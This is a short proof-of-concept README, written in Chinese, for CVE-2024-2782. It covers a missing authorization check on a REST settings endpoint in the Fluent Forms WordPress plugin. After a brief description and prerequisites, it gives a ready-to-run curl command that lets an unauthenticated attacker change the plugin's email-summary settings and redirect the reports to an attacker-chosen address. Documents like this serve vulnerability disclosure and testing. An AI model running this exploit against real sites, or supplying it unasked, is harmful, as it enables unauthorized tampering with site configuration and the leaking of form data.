CVE-2024-2782-PoC

CVE-2024-2782 概念验证

WordPress 插件 Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder 在所有版本（包括 5.1.16）中，由于 /wp-json/fluentform/v1/global-settings REST API 端点缺少权限检查，容易遭受未授权修改数据的攻击。这使得未经身份验证的攻击者能够修改该插件的所有设置。

先决条件

• 运行中的 WordPress 站点，已启用 Contact Form – Fluent Forms ≤ 5.1.16。
• 攻击者可以访问该站点的 REST API（无需身份验证）。

利用命令

curl -i -X POST "http://TARGET/wp-json/fluentform/v1/global-settings"
  -H "Content-Type: application/json"
  -d '{
  "key": "emailSummarySettings",
  "email_report": "{"send_to_type":"custom","custom_recipients":"[email protected]"}"
}'
